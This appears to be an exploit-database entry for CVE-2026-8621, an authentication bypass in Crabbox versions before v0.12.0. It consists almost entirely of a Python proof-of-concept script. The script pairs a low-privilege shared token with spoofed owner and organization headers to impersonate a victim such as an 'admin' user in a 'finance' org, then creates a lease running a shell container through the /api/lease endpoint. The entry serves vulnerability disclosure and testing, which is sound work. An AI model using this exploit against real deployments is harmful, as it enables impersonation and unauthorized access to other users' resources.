CVE-2026-8621 Crabbox认证绕过漏洞

# Exploit Title: Crabbox Authentication Bypass via Header Spoofing # Date: 2026-05-14 # Exploit Author: VulnCheck # Vendor Homepage: https://github.com/openclaw/crabbox # Software Link: https://github.com/openclaw/crabbox/releases/tag/v0.12.0 # Version: < v0.12.0 # Tested on: Linux # CVE: CVE-2026-8621 import requests def exploit(target_url, shared_token, victim_owner, victim_org): """ Exploits the auth bypass by spoofing headers. """ headers = { "Authorization": f"Bearer {shared_token}", "X-Crabbox-Owner": victim_owner, "X-Crabbox-Org": victim_org, "Content-Type": "application/json" } # Example payload to create a lease under victim's context payload = { "image": "alpine:latest", "cmd": "sh", "lease_duration_seconds": 3600 } try: response = requests.post(f"{target_url}/api/lease", json=payload, headers=headers) if response.status_code == 200: print(f"[+] Exploit successful! Created lease for {victim_owner}/{victim_org}") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Configuration TARGET = "http://localhost:8080" # Replace with actual target TOKEN = "valid_shared_token_here" # Replace with a low-priv shared token VICTIM_OWNER = "admin" # Target user to impersonate VICTIM_ORG = "finance" # Target organization exploit(TARGET, TOKEN, VICTIM_OWNER, VICTIM_ORG)